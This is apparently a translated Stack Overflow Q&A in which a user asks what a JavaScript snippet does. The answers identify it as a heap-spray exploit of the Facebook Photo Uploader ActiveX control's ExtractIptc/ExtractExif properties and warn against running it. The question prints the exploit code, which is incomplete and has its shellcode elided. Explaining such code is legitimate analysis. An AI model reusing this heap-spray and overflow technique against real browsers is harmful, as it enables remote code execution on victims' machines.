6

我不明白这个代码片段:

function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }  

在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给它的内容:

var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;

我也无法弄清楚这个功能:

function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }

下面的代码是什么意思?

cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')

这是一个什么样的变量?

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

最重要的是,该代码片段试图做什么?

这里还有一些功能:

function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        } 
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex; 
}

function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }

任何指导将不胜感激。

4

2 回答 2

26

这是一个试图利用与 Facebook 相关的安全漏洞的 JavaScript 片段,更具体地说,是其图像上传器客户端 ActiveX 控件。

cobj部分尝试创建一个 ClassID 对象,该对象{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}恰好是 ActiveX 照片上传器控件。ExtractIptc 和ExtractExif 函数属于该特定的ActiveX 控件。

代码的核心实际上是内存地址操作、移位、使用掩码来分隔高位和低位。例如,hex((addr>>16)&0xFFFF,4))获取一个地址,将其向右移动 16 位,清除较低部分并将其转换为十六进制数。要真正理解大部分代码,您应该拥有正确的调试工具。

谷歌搜索{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}ClassID 给出了一些你应该研究的有趣结果:

http://www.kb.cert.org/vuls/id/776931

http://seclists.org/fulldisclosure/2008/Feb/0023.html

http://securitytracker.com/alerts/2008/Feb/1019297.html

请注意,这不是 PHP。它是 JavaScript。

更多细节...

cobj 可能被翻译成 CreateObject() 调用。每个注册的 ActiveX 控件都有自己的类 ID,它们的格式为{0000000000-0000-0000-0000-000000000000}. 当您想要引用已注册的库并创建它的实例时,您可以使用它的名称或类 ID。

ActiveX 控件本身应该是您计算机上的 .OCX 或 .DLL 文件。如果您可以找到该文件并对其进行调试,您将获得有关 ExtractIptc 和 ExtractExif 函数的最具体的详细信息。同样,这两个函数在以特定方式调用时似乎存在漏洞,而这正是该脚本试图利用的漏洞。

var hsta=0x0c0c0c0c部分定义了一个变量hsta,等于十六进制数0c0c0c0c。这和写作一样var hsta = 202116108。在计算机工程中,处理十六进制地址比处理十进制数字更容易,因为计算机内存中的地址和数据是二进制的,可以直接表示为十六进制数字。有关十六进制的更多详细信息:http ://en.wikipedia.org/wiki/Hexadecimal 。

变量名 hsta 似乎是匈牙利符号(第一个字母代表变量类型 - h 代表十六进制)。因此,我假设它表示十六进制起始地址(hsta)。按照同样的思路,我的猜测是这pl意味着有效载荷和plc有效载荷代码。

有效载荷代码是如果漏洞利用成功,计算机将执行的代码,它就是您在脚本开头看到的内容(\x43\x43\x43\x43\n....\xEF)。它被编码为特定 CPU 架构和操作系统的shell 代码。这意味着已经编译、独立并且可以直接通过管道传输到 CPU 的代码。如果您对此进行解码,您可能会发现一些接近机器代码的内容。这可能没有什么积极的。

hex(num,width)函数将十进制数转换为其十六进制形式。我已经单独测试了这个函数,它在输入 1000 时返回 3E8。如果生成的十六进制数大于指定的值,则宽度变量仅用于退出脚本。

关于这部分:

var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;

buf 变量是一个缓冲区。缓冲区只不过是内存中的数据。它可以作为字符串接口,如此代码所示。我的猜测是,从内存中 0x0c0c0c0c 的任何内容创建一个 400 字节的缓冲区,然后输入两个函数。

这里缺少几个函数定义。即,hav() 函数。

于 2009-03-16T18:36:34.583 回答
1

我尽可能多地修复了格式,但似乎仍然缺少大块。至少,我看到了语法错误、未初始化的变量等。

如果这是实际工作代码,请编辑您的问题并(使用“代码”按钮“101/010”或仅缩进 4 个空格而不是用“”按钮引用)发布实际代码,以便我们看到的内容与您的内容相匹配正在看到。编辑:不要尝试运行此代码!它可能是恶意的。

如果它不是工作代码,那么你的答案就是:它不起作用,所以试图弄清楚它是如何工作的是没有意义的。

于 2009-03-16T18:34:02.953 回答